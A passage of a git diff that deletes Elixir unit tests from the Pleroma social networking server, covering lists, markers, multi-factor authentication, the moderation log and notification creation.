1, - error: %RuntimeError{message: "oops"}, - id: 345, - kind: :exception, - max_attempts: 1, - queue: "background", - stack: [ - {Pleroma.Workers.BackgroundWorker, :perform, 2, - [file: 'lib/pleroma/workers/background_worker.ex', line: 31]}, - {Oban.Queue.Executor, :safe_call, 1, - [file: 'lib/oban/queue/executor.ex', line: 42]}, - {:timer, :tc, 3, [file: 'timer.erl', line: 197]}, - {Oban.Queue.Executor, :call, 2, [file: 'lib/oban/queue/executor.ex', line: 23]}, - {Task.Supervised, :invoke_mfa, 2, [file: 'lib/task/supervised.ex', line: 90]}, - {:proc_lib, :init_p_do_apply, 3, [file: 'proc_lib.erl', line: 249]} - ], - worker: "Pleroma.Workers.BackgroundWorker" - }} - - test "stats/0" do - assert %{processed_jobs: _, queues: _, workers: _} = JobQueueMonitor.stats() - end - - test "handle_cast/2" do - state = %{workers: %{}, queues: %{}, processed_jobs: 0} - - assert {:noreply, state} = JobQueueMonitor.handle_cast(@success, state) - assert {:noreply, state} = JobQueueMonitor.handle_cast(@failure, state) - assert {:noreply, state} = JobQueueMonitor.handle_cast(@success, state) - assert {:noreply, state} = JobQueueMonitor.handle_cast(@failure, state) - - assert state == %{ - processed_jobs: 4, - queues: %{ - "background" => %{failure: 2, processed_jobs: 2, success: 0}, - "federator_outgoing" => %{failure: 0, processed_jobs: 2, success: 2} - }, - workers: %{ - "Pleroma.Workers.BackgroundWorker" => %{ - "force_password_reset" => %{failure: 2, processed_jobs: 2, success: 0} - }, - "Pleroma.Workers.SubscriberWorker" => %{ - "refresh_subscriptions" => %{failure: 0, processed_jobs: 2, success: 2} - } - } - } - end -end diff --git a/test/keys_test.exs b/test/keys_test.exs deleted file mode 100644 index 9e8528cba..000000000 --- a/test/keys_test.exs +++ /dev/null @@ -1,24 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.KeysTest do - use Pleroma.DataCase - - alias Pleroma.Keys - - test "generates an RSA private key pem" do - {:ok, key} = Keys.generate_rsa_pem() - - assert is_binary(key) - assert Regex.match?(~r/RSA/, key) - end - - test "returns a public and private key from a pem" do - pem = File.read!("test/fixtures/private_key.pem") - {:ok, private, public} = Keys.keys_from_pem(pem) - - assert elem(private, 0) == :RSAPrivateKey - assert elem(public, 0) == :RSAPublicKey - end -end diff --git a/test/list_test.exs b/test/list_test.exs deleted file mode 100644 index b5572cbae..000000000 --- a/test/list_test.exs +++ /dev/null @@ -1,149 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ListTest do - alias Pleroma.Repo - use Pleroma.DataCase - - import Pleroma.Factory - - test "creating a list" do - user = insert(:user) - {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user) - %Pleroma.List{title: title} = Pleroma.List.get(list.id, user) - assert title == "title" - end - - test "validates title" do - user = insert(:user) - - assert {:error, changeset} = Pleroma.List.create("", user) - assert changeset.errors == [title: {"can't be blank", [validation: :required]}] - end - - test "getting a list not belonging to the user" do - user = insert(:user) - other_user = insert(:user) - {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user) - ret = Pleroma.List.get(list.id, other_user) - assert is_nil(ret) - end - - test "adding an user to a list" do - user = insert(:user) - other_user = insert(:user) - {:ok, list} = Pleroma.List.create("title", user) - {:ok, %{following: following}} = Pleroma.List.follow(list, other_user) - assert [other_user.follower_address] == following - end - - test "removing an user from a list" do - user = insert(:user) - other_user = insert(:user) - {:ok, list} = Pleroma.List.create("title", user) - {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user) - {:ok, %{following: following}} = Pleroma.List.unfollow(list, other_user) - assert [] == following - end - - test "renaming a list" do - user = insert(:user) - {:ok, list} = Pleroma.List.create("title", user) - {:ok, %{title: title}} = Pleroma.List.rename(list, "new") - assert "new" == title - end - - test "deleting a list" do - user = insert(:user) - {:ok, list} = Pleroma.List.create("title", user) - {:ok, list} = Pleroma.List.delete(list) - assert is_nil(Repo.get(Pleroma.List, list.id)) - end - - test "getting users in a list" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - {:ok, list} = Pleroma.List.create("title", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - {:ok, list} = Pleroma.List.follow(list, third_user) - {:ok, following} = Pleroma.List.get_following(list) - assert other_user in following - assert third_user in following - end - - test "getting all lists by an user" do - user = insert(:user) - other_user = insert(:user) - {:ok, list_one} = Pleroma.List.create("title", user) - {:ok, list_two} = Pleroma.List.create("other title", user) - {:ok, list_three} = Pleroma.List.create("third title", other_user) - lists = Pleroma.List.for_user(user, %{}) - assert list_one in lists - assert list_two in lists - refute list_three in lists - end - - test "getting all lists the user is a member of" do - user = insert(:user) - other_user = insert(:user) - {:ok, list_one} = Pleroma.List.create("title", user) - {:ok, list_two} = Pleroma.List.create("other title", user) - {:ok, list_three} = Pleroma.List.create("third title", other_user) - {:ok, list_one} = Pleroma.List.follow(list_one, other_user) - {:ok, list_two} = Pleroma.List.follow(list_two, other_user) - {:ok, list_three} = Pleroma.List.follow(list_three, user) - - lists = Pleroma.List.get_lists_from_activity(%Pleroma.Activity{actor: other_user.ap_id}) - assert list_one in lists - assert list_two in lists - refute list_three in lists - end - - test "getting own lists a given user belongs to" do - owner = insert(:user) - not_owner = insert(:user) - member_1 = insert(:user) - member_2 = insert(:user) - {:ok, owned_list} = Pleroma.List.create("owned", owner) - {:ok, not_owned_list} = Pleroma.List.create("not owned", not_owner) - {:ok, owned_list} = Pleroma.List.follow(owned_list, member_1) - {:ok, owned_list} = Pleroma.List.follow(owned_list, member_2) - {:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_1) - {:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_2) - - lists_1 = Pleroma.List.get_lists_account_belongs(owner, member_1) - assert owned_list in lists_1 - refute not_owned_list in lists_1 - lists_2 = Pleroma.List.get_lists_account_belongs(owner, member_2) - assert owned_list in lists_2 - refute not_owned_list in lists_2 - end - - test "get by ap_id" do - user = insert(:user) - {:ok, list} = Pleroma.List.create("foo", user) - assert Pleroma.List.get_by_ap_id(list.ap_id) == list - end - - test "memberships" do - user = insert(:user) - member = insert(:user) - {:ok, list} = Pleroma.List.create("foo", user) - {:ok, list} = Pleroma.List.follow(list, member) - - assert Pleroma.List.memberships(member) == [list.ap_id] - end - - test "member?" do - user = insert(:user) - member = insert(:user) - - {:ok, list} = Pleroma.List.create("foo", user) - {:ok, list} = Pleroma.List.follow(list, member) - - assert Pleroma.List.member?(list, member) - refute Pleroma.List.member?(list, user) - end -end diff --git a/test/marker_test.exs b/test/marker_test.exs deleted file mode 100644 index 7b3943c7b..000000000 --- a/test/marker_test.exs +++ /dev/null @@ -1,78 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.MarkerTest do - use Pleroma.DataCase - alias Pleroma.Marker - - import Pleroma.Factory - - describe "multi_set_unread_count/3" do - test "returns multi" do - user = insert(:user) - - assert %Ecto.Multi{ - operations: [marker: {:run, _}, counters: {:run, _}] - } = - Marker.multi_set_last_read_id( - Ecto.Multi.new(), - user, - "notifications" - ) - end - - test "return empty multi" do - user = insert(:user) - multi = Ecto.Multi.new() - assert Marker.multi_set_last_read_id(multi, user, "home") == multi - end - end - - describe "get_markers/2" do - test "returns user markers" do - user = insert(:user) - marker = insert(:marker, user: user) - insert(:notification, user: user, activity: insert(:note_activity)) - insert(:notification, user: user, activity: insert(:note_activity)) - insert(:marker, timeline: "home", user: user) - - assert Marker.get_markers( - user, - ["notifications"] - ) == [%Marker{refresh_record(marker) | unread_count: 2}] - end - end - - describe "upsert/2" do - test "creates a marker" do - user = insert(:user) - - {:ok, %{"notifications" => %Marker{} = marker}} = - Marker.upsert( - user, - %{"notifications" => %{"last_read_id" => "34"}} - ) - - assert marker.timeline == "notifications" - assert marker.last_read_id == "34" - assert marker.lock_version == 0 - end - - test "updates exist marker" do - user = insert(:user) - marker = insert(:marker, user: user, last_read_id: "8909") - - {:ok, %{"notifications" => %Marker{}}} = - Marker.upsert( - user, - %{"notifications" => %{"last_read_id" => "9909"}} - ) - - marker = refresh_record(marker) - assert marker.timeline == "notifications" - assert marker.last_read_id == "9909" - assert marker.lock_version == 0 - end - end -end diff --git a/test/mfa/backup_codes_test.exs b/test/mfa/backup_codes_test.exs deleted file mode 100644 index 41adb1e96..000000000 --- a/test/mfa/backup_codes_test.exs +++ /dev/null @@ -1,15 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.MFA.BackupCodesTest do - use Pleroma.DataCase - - alias Pleroma.MFA.BackupCodes - - test "generate backup codes" do - codes = BackupCodes.generate(number_of_codes: 2, length: 4) - - assert [<<_::bytes-size(4)>>, <<_::bytes-size(4)>>] = codes - end -end diff --git a/test/mfa/totp_test.exs b/test/mfa/totp_test.exs deleted file mode 100644 index 9edb6fd54..000000000 --- a/test/mfa/totp_test.exs +++ /dev/null @@ -1,21 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.MFA.TOTPTest do - use Pleroma.DataCase - - alias Pleroma.MFA.TOTP - - test "create provisioning_uri to generate qrcode" do - uri = - TOTP.provisioning_uri("test-secrcet", "test@example.com", - issuer: "Plerome-42", - digits: 8, - period: 60 - ) - - assert uri == - "otpauth://totp/test@example.com?digits=8&issuer=Plerome-42&period=60&secret=test-secrcet" - end -end diff --git a/test/mfa_test.exs b/test/mfa_test.exs deleted file mode 100644 index 8875cefd9..000000000 --- a/test/mfa_test.exs +++ /dev/null @@ -1,52 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.MFATest do - use Pleroma.DataCase - - import Pleroma.Factory - alias Pleroma.MFA - - describe "mfa_settings" do - test "returns settings user's" do - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: "xx", confirmed: true} - } - ) - - settings = MFA.mfa_settings(user) - assert match?(^settings, %{enabled: true, totp: true}) - end - end - - describe "generate backup codes" do - test "returns backup codes" do - user = insert(:user) - - {:ok, [code1, code2]} = MFA.generate_backup_codes(user) - updated_user = refresh_record(user) - [hash1, hash2] = updated_user.multi_factor_authentication_settings.backup_codes - assert Pbkdf2.verify_pass(code1, hash1) - assert Pbkdf2.verify_pass(code2, hash2) - end - end - - describe "invalidate_backup_code" do - test "invalid used code" do - user = insert(:user) - - {:ok, _} = MFA.generate_backup_codes(user) - user = refresh_record(user) - assert length(user.multi_factor_authentication_settings.backup_codes) == 2 - [hash_code | _] = user.multi_factor_authentication_settings.backup_codes - - {:ok, user} = MFA.invalidate_backup_code(user, hash_code) - - assert length(user.multi_factor_authentication_settings.backup_codes) == 1 - end - end -end diff --git a/test/migration_helper/notification_backfill_test.exs b/test/migration_helper/notification_backfill_test.exs deleted file mode 100644 index 2a62a2b00..000000000 --- a/test/migration_helper/notification_backfill_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.MigrationHelper.NotificationBackfillTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.MigrationHelper.NotificationBackfill - alias Pleroma.Notification - alias Pleroma.Repo - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "fill_in_notification_types" do - test "it fills in missing notification types" do - user = insert(:user) - other_user = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "yeah, @#{other_user.nickname}"}) - {:ok, chat} = CommonAPI.post_chat_message(user, other_user, "yo") - {:ok, react} = CommonAPI.react_with_emoji(post.id, other_user, "☕") - {:ok, like} = CommonAPI.favorite(other_user, post.id) - {:ok, react_2} = CommonAPI.react_with_emoji(post.id, other_user, "☕") - - data = - react_2.data - |> Map.put("type", "EmojiReaction") - - {:ok, react_2} = - react_2 - |> Activity.change(%{data: data}) - |> Repo.update() - - assert {5, nil} = Repo.update_all(Notification, set: [type: nil]) - - NotificationBackfill.fill_in_notification_types() - - assert %{type: "mention"} = - Repo.get_by(Notification, user_id: other_user.id, activity_id: post.id) - - assert %{type: "favourite"} = - Repo.get_by(Notification, user_id: user.id, activity_id: like.id) - - assert %{type: "pleroma:emoji_reaction"} = - Repo.get_by(Notification, user_id: user.id, activity_id: react.id) - - assert %{type: "pleroma:emoji_reaction"} = - Repo.get_by(Notification, user_id: user.id, activity_id: react_2.id) - - assert %{type: "pleroma:chat_mention"} = - Repo.get_by(Notification, user_id: other_user.id, activity_id: chat.id) - end - end -end diff --git a/test/moderation_log_test.exs b/test/moderation_log_test.exs deleted file mode 100644 index 59f4d67f8..000000000 --- a/test/moderation_log_test.exs +++ /dev/null @@ -1,297 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ModerationLogTest do - alias Pleroma.Activity - alias Pleroma.ModerationLog - - use Pleroma.DataCase - - import Pleroma.Factory - - describe "user moderation" do - setup do - admin = insert(:user, is_admin: true) - moderator = insert(:user, is_moderator: true) - subject1 = insert(:user) - subject2 = insert(:user) - - [admin: admin, moderator: moderator, subject1: subject1, subject2: subject2] - end - - test "logging user deletion by moderator", %{moderator: moderator, subject1: subject1} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - subject: [subject1], - action: "delete" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == "@#{moderator.nickname} deleted users: @#{subject1.nickname}" - end - - test "logging user creation by moderator", %{ - moderator: moderator, - subject1: subject1, - subject2: subject2 - } do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - subjects: [subject1, subject2], - action: "create" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} created users: @#{subject1.nickname}, @#{subject2.nickname}" - end - - test "logging user follow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: admin, - followed: subject1, - follower: subject2, - action: "follow" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{admin.nickname} made @#{subject2.nickname} follow @#{subject1.nickname}" - end - - test "logging user unfollow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: admin, - followed: subject1, - follower: subject2, - action: "unfollow" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{admin.nickname} made @#{subject2.nickname} unfollow @#{subject1.nickname}" - end - - test "logging user tagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: admin, - nicknames: [subject1.nickname, subject2.nickname], - tags: ["foo", "bar"], - action: "tag" - }) - - log = Repo.one(ModerationLog) - - users = - [subject1.nickname, subject2.nickname] - |> Enum.map(&"@#{&1}") - |> Enum.join(", ") - - tags = ["foo", "bar"] |> Enum.join(", ") - - assert log.data["message"] == "@#{admin.nickname} added tags: #{tags} to users: #{users}" - end - - test "logging user untagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: admin, - nicknames: [subject1.nickname, subject2.nickname], - tags: ["foo", "bar"], - action: "untag" - }) - - log = Repo.one(ModerationLog) - - users = - [subject1.nickname, subject2.nickname] - |> Enum.map(&"@#{&1}") - |> Enum.join(", ") - - tags = ["foo", "bar"] |> Enum.join(", ") - - assert log.data["message"] == - "@#{admin.nickname} removed tags: #{tags} from users: #{users}" - end - - test "logging user grant by moderator", %{moderator: moderator, subject1: subject1} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - subject: [subject1], - action: "grant", - permission: "moderator" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == "@#{moderator.nickname} made @#{subject1.nickname} moderator" - end - - test "logging user revoke by moderator", %{moderator: moderator, subject1: subject1} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - subject: [subject1], - action: "revoke", - permission: "moderator" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} revoked moderator role from @#{subject1.nickname}" - end - - test "logging relay follow", %{moderator: moderator} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "relay_follow", - target: "https://example.org/relay" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} followed relay: https://example.org/relay" - end - - test "logging relay unfollow", %{moderator: moderator} do - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "relay_unfollow", - target: "https://example.org/relay" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} unfollowed relay: https://example.org/relay" - end - - test "logging report update", %{moderator: moderator} do - report = %Activity{ - id: "9m9I1F4p8ftrTP6QTI", - data: %{ - "type" => "Flag", - "state" => "resolved" - } - } - - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "report_update", - subject: report - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} updated report ##{report.id} with 'resolved' state" - end - - test "logging report response", %{moderator: moderator} do - report = %Activity{ - id: "9m9I1F4p8ftrTP6QTI", - data: %{ - "type" => "Note" - } - } - - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "report_note", - subject: report, - text: "look at this" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} added note 'look at this' to report ##{report.id}" - end - - test "logging status sensitivity update", %{moderator: moderator} do - note = insert(:note_activity) - - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "status_update", - subject: note, - sensitive: "true", - visibility: nil - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true'" - end - - test "logging status visibility update", %{moderator: moderator} do - note = insert(:note_activity) - - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "status_update", - subject: note, - sensitive: nil, - visibility: "private" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} updated status ##{note.id}, set visibility: 'private'" - end - - test "logging status sensitivity & visibility update", %{moderator: moderator} do - note = insert(:note_activity) - - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "status_update", - subject: note, - sensitive: "true", - visibility: "private" - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == - "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true', visibility: 'private'" - end - - test "logging status deletion", %{moderator: moderator} do - note = insert(:note_activity) - - {:ok, _} = - ModerationLog.insert_log(%{ - actor: moderator, - action: "status_delete", - subject_id: note.id - }) - - log = Repo.one(ModerationLog) - - assert log.data["message"] == "@#{moderator.nickname} deleted status ##{note.id}" - end - end -end diff --git a/test/notification_test.exs b/test/notification_test.exs deleted file mode 100644 index f2e0f0b0d..000000000 --- a/test/notification_test.exs +++ /dev/null @@ -1,1144 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.NotificationTest do - use Pleroma.DataCase - - import Pleroma.Factory - import Mock - - alias Pleroma.FollowingRelationship - alias Pleroma.Notification - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI.NotificationView - alias Pleroma.Web.Push - alias Pleroma.Web.Streamer - - describe "create_notifications" do - test "never returns nil" do - user = insert(:user) - other_user = insert(:user, %{invisible: true}) - - {:ok, activity} = CommonAPI.post(user, %{status: "yeah"}) - {:ok, activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") - - refute {:ok, [nil]} == Notification.create_notifications(activity) - end - - test "creates a notification for an emoji reaction" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "yeah"}) - {:ok, activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") - - {:ok, [notification]} = Notification.create_notifications(activity) - - assert notification.user_id == user.id - assert notification.type == "pleroma:emoji_reaction" - end - - test "notifies someone when they are directly addressed" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "hey @#{other_user.nickname} and @#{third_user.nickname}" - }) - - {:ok, [notification, other_notification]} = Notification.create_notifications(activity) - - notified_ids = Enum.sort([notification.user_id, other_notification.user_id]) - assert notified_ids == [other_user.id, third_user.id] - assert notification.activity_id == activity.id - assert notification.type == "mention" - assert other_notification.activity_id == activity.id - - assert [%Pleroma.Marker{unread_count: 2}] = - Pleroma.Marker.get_markers(other_user, ["notifications"]) - end - - test "it creates a notification for subscribed users" do - user = insert(:user) - subscriber = insert(:user) - - User.subscribe(subscriber, user) - - {:ok, status} = CommonAPI.post(user, %{status: "Akariiiin"}) - {:ok, [notification]} = Notification.create_notifications(status) - - assert notification.user_id == subscriber.id - end - - test "does not create a notification for subscribed users if status is a reply" do - user = insert(:user) - other_user = insert(:user) - subscriber = insert(:user) - - User.subscribe(subscriber, other_user) - - {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) - - {:ok, _reply_activity} = - CommonAPI.post(other_user, %{ - status: "test reply", - in_reply_to_status_id: activity.id - }) - - user_notifications = Notification.for_user(user) - assert length(user_notifications) == 1 - - subscriber_notifications = Notification.for_user(subscriber) - assert Enum.empty?(subscriber_notifications) - end - end - - describe "CommonApi.post/2 notification-related functionality" do - test_with_mock "creates but does NOT send notification to blocker user", - Push, - [:passthrough], - [] do - user = insert(:user) - blocker = insert(:user) - {:ok, _user_relationship} = User.block(blocker, user) - - {:ok, _activity} = CommonAPI.post(user, %{status: "hey @#{blocker.nickname}!"}) - - blocker_id = blocker.id - assert [%Notification{user_id: ^blocker_id}] = Repo.all(Notification) - refute called(Push.send(:_)) - end - - test_with_mock "creates but does NOT send notification to notification-muter user", - Push, - [:passthrough], - [] do - user = insert(:user) - muter = insert(:user) - {:ok, _user_relationships} = User.mute(muter, user) - - {:ok, _activity} = CommonAPI.post(user, %{status: "hey @#{muter.nickname}!"}) - - muter_id = muter.id - assert [%Notification{user_id: ^muter_id}] = Repo.all(Notification) - refute called(Push.send(:_)) - end - - test_with_mock "creates but does NOT send notification to thread-muter user", - Push, - [:passthrough], - [] do - user = insert(:user) - thread_muter = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{thread_muter.nickname}!"}) - - {:ok, _} = CommonAPI.add_mute(thread_muter, activity) - - {:ok, _same_context_activity} = - CommonAPI.post(user, %{ - status: "hey-hey-hey @#{thread_muter.nickname}!", - in_reply_to_status_id: activity.id - }) - - [pre_mute_notification, post_mute_notification] = - Repo.all(from(n in Notification, where: n.user_id == ^thread_muter.id, order_by: n.id)) - - pre_mute_notification_id = pre_mute_notification.id - post_mute_notification_id = post_mute_notification.id - - assert called( - Push.send( - :meck.is(fn - %Notification{id: ^pre_mute_notification_id} -> true - _ -> false - end) - ) - ) - - refute called( - Push.send( - :meck.is(fn - %Notification{id: ^post_mute_notification_id} -> true - _ -> false - end) - ) - ) - end - end - - describe "create_notification" do - @tag needs_streamer: true - test "it creates a notification for user and send to the 'user' and the 'user:notification' stream" do - %{user: user, token: oauth_token} = oauth_access(["read"]) - - task = - Task.async(fn -> - {:ok, _topic} = Streamer.get_topic_and_add_socket("user", user, oauth_token) - assert_receive {:render_with_user, _, _, _}, 4_000 - end) - - task_user_notification = - Task.async(fn -> - {:ok, _topic} = - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - - assert_receive {:render_with_user, _, _, _}, 4_000 - end) - - activity = insert(:note_activity) - - notify = Notification.create_notification(activity, user) - assert notify.user_id == user.id - Task.await(task) - Task.await(task_user_notification) - end - - test "it creates a notification for user if the user blocks the activity author" do - activity = insert(:note_activity) - author = User.get_cached_by_ap_id(activity.data["actor"]) - user = insert(:user) - {:ok, _user_relationship} = User.block(user, author) - - assert Notification.create_notification(activity, user) - end - - test "it creates a notification for the user if the user mutes the activity author" do - muter = insert(:user) - muted = insert(:user) - {:ok, _} = User.mute(muter, muted) - muter = Repo.get(User, muter.id) - {:ok, activity} = CommonAPI.post(muted, %{status: "Hi @#{muter.nickname}"}) - - notification = Notification.create_notification(activity, muter) - - assert notification.id - assert notification.seen - end - - test "notification created if user is muted without notifications" do - muter = insert(:user) - muted = insert(:user) - - {:ok, _user_relationships} = User.mute(muter, muted, false) - - {:ok, activity} = CommonAPI.post(muted, %{status: "Hi @#{muter.nickname}"}) - - assert Notification.create_notification(activity, muter) - end - - test "it creates a notification for an activity from a muted thread" do - muter = insert(:user) - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(muter, %{status: "hey"}) - CommonAPI.add_mute(muter, activity) - - {:ok, activity} = - CommonAPI.post(other_user, %{ - status: "Hi @#{muter.nickname}", - in_reply_to_status_id: activity.id - }) - - notification = Notification.create_notification(activity, muter) - - assert notification.id - assert notification.seen - end - - test "it disables notifications from strangers" do - follower = insert(:user) - - followed = - insert(:user, - notification_settings: %Pleroma.User.NotificationSetting{block_from_strangers: true} - ) - - {:ok, activity} = CommonAPI.post(follower, %{status: "hey @#{followed.nickname}"}) - refute Notification.create_notification(activity, followed) - end - - test "it doesn't create a notification for user if he is the activity author" do - activity = insert(:note_activity) - author = User.get_cached_by_ap_id(activity.data["actor"]) - - refute Notification.create_notification(activity, author) - end - - test "it doesn't create duplicate notifications for follow+subscribed users" do - user = insert(:user) - subscriber = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(subscriber, user) - User.subscribe(subscriber, user) - {:ok, status} = CommonAPI.post(user, %{status: "Akariiiin"}) - {:ok, [_notif]} = Notification.create_notifications(status) - end - - test "it doesn't create subscription notifications if the recipient cannot see the status" do - user = insert(:user) - subscriber = insert(:user) - - User.subscribe(subscriber, user) - - {:ok, status} = CommonAPI.post(user, %{status: "inwisible", visibility: "direct"}) - - assert {:ok, []} == Notification.create_notifications(status) - end - - test "it disables notifications from people who are invisible" do - author = insert(:user, invisible: true) - user = insert(:user) - - {:ok, status} = CommonAPI.post(author, %{status: "hey @#{user.nickname}"}) - refute Notification.create_notification(status, user) - end - - test "it doesn't create notifications if content matches with an irreversible filter" do - user = insert(:user) - subscriber = insert(:user) - - User.subscribe(subscriber, user) - insert(:filter, user: subscriber, phrase: "cofe", hide: true) - - {:ok, status} = CommonAPI.post(user, %{status: "got cofe?"}) - - assert {:ok, []} == Notification.create_notifications(status) - end - - test "it creates notifications if content matches with a not irreversible filter" do - user = insert(:user) - subscriber = insert(:user) - - User.subscribe(subscriber, user) - insert(:filter, user: subscriber, phrase: "cofe", hide: false) - - {:ok, status} = CommonAPI.post(user, %{status: "got cofe?"}) - {:ok, [notification]} = Notification.create_notifications(status) - - assert notification - refute notification.seen - end - - test "it creates notifications when someone likes user's status with a filtered word" do - user = insert(:user) - other_user = insert(:user) - insert(:filter, user: user, phrase: "tesla", hide: true) - - {:ok, activity_one} = CommonAPI.post(user, %{status: "wow tesla"}) - {:ok, activity_two} = CommonAPI.favorite(other_user, activity_one.id) - - {:ok, [notification]} = Notification.create_notifications(activity_two) - - assert notification - refute notification.seen - end - end - - describe "follow / follow_request notifications" do - test "it creates `follow` notification for approved Follow activity" do - user = insert(:user) - followed_user = insert(:user, locked: false) - - {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) - assert FollowingRelationship.following?(user, followed_user) - assert [notification] = Notification.for_user(followed_user) - - assert %{type: "follow"} = - NotificationView.render("show.json", %{ - notification: notification, - for: followed_user - }) - end - - test "it creates `follow_request` notification for pending Follow activity" do - user = insert(:user) - followed_user = insert(:user, locked: true) - - {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) - refute FollowingRelationship.following?(user, followed_user) - assert [notification] = Notification.for_user(followed_user) - - render_opts = %{notification: notification, for: followed_user} - assert %{type: "follow_request"} = NotificationView.render("show.json", render_opts) - - # After request is accepted, the same notification is rendered with type "follow": - assert {:ok, _} = CommonAPI.accept_follow_request(user, followed_user) - - notification = - Repo.get(Notification, notification.id) - |> Repo.preload(:activity) - - assert %{type: "follow"} = - NotificationView.render("show.json", notification: notification, for: followed_user) - end - - test "it doesn't create a notification for follow-unfollow-follow chains" do - user = insert(:user) - followed_user = insert(:user, locked: false) - - {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) - assert FollowingRelationship.following?(user, followed_user) - assert [notification] = Notification.for_user(followed_user) - - CommonAPI.unfollow(user, followed_user) - {:ok, _, _, _activity_dupe} = CommonAPI.follow(user, followed_user) - - notification_id = notification.id - assert [%{id: ^notification_id}] = Notification.for_user(followed_user) - end - - test "dismisses the notification on follow request rejection" do - user = insert(:user, locked: true) - follower = insert(:user) - {:ok, _, _, _follow_activity} = CommonAPI.follow(follower, user) - assert [notification] = Notification.for_user(user) - {:ok, _follower} = CommonAPI.reject_follow_request(follower, user) - assert [] = Notification.for_user(user) - end - end - - describe "get notification" do - test "it gets a notification that belongs to the user" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = 